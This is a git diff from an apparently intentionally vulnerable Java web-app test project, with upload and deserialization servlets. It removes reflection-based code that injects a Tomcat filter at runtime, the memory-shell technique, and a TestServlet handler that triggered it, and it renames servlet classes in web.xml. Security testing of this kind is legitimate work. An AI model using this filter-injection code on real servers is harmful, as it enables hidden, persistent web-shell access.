(IllegalAccessException e) { - throw new RuntimeException(e); - } catch (NoSuchMethodException e) { - throw new RuntimeException(e); - } catch (InvocationTargetException e) { - throw new RuntimeException(e); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public void addFilter(Object context, Object filter) throws Exception { - String filterName = getClassName(); - // 防止重复注入 - try { - if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) { - return; - } - } catch (Exception ignored) { - } - try { - Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); - invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); - invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); - invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); - invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); - invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); - try { - // v7.0.0 以上 - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } - Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - constructors[0].setAccessible(true); - Object filterConfig = constructors[0].newInstance(context, filterDef); - HashMap filterConfigs = (HashMap) getFV(context, "filterConfigs"); - filterConfigs.put(filterName, filterConfig); - } catch (Exception e) { - e.printStackTrace(); - } } @Override diff --git a/vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java b/vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java index b6b12b09..8c2e2844 100644 --- a/vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java +++ b/vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java @@ -1,3 +1,5 @@ +package jakarta; + import jakarta.servlet.ServletException; import jakarta.servlet.annotation.MultipartConfig; import jakarta.servlet.http.HttpServlet; diff --git a/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml b/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml index 97e30de1..b3252b64 100644 --- a/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml +++ b/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml @@ -1,18 +1,12 @@ - + index.html test - TestServlet + jakarta.TestServlet test @@ -22,7 +16,7 @@ upload - UploadServlet + jakarta.UploadServlet upload @@ -32,7 +26,7 @@ java-deserialize - JavaReadObjServlet + jakarta.JavaReadObjServlet java-deserialize @@ -43,7 +37,7 @@ - + diff --git a/vul-webapp/src/main/java/TestServlet.java b/vul-webapp/src/main/java/TestServlet.java index 35cfe2bb..0f24dc2a 100644 --- a/vul-webapp/src/main/java/TestServlet.java +++ b/vul-webapp/src/main/java/TestServlet.java @@ -267,25 +267,7 @@ public class TestServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - try { - List context = getContext(); - for (Object o : context) { - Object filter = getFilter(o); - addListener(o, filter); - } - } catch (IllegalAccessException e) { - throw new RuntimeException(e); - } catch (NoSuchMethodException e) { - throw new RuntimeException(e); - } catch (InvocationTargetException e) { - throw new RuntimeException(e); - } catch (ClassNotFoundException e) { - throw new RuntimeException(e); - } catch (InstantiationException e) { - throw new RuntimeException(e); - } catch (Exception e) { - throw new RuntimeException(e); - } + } @Override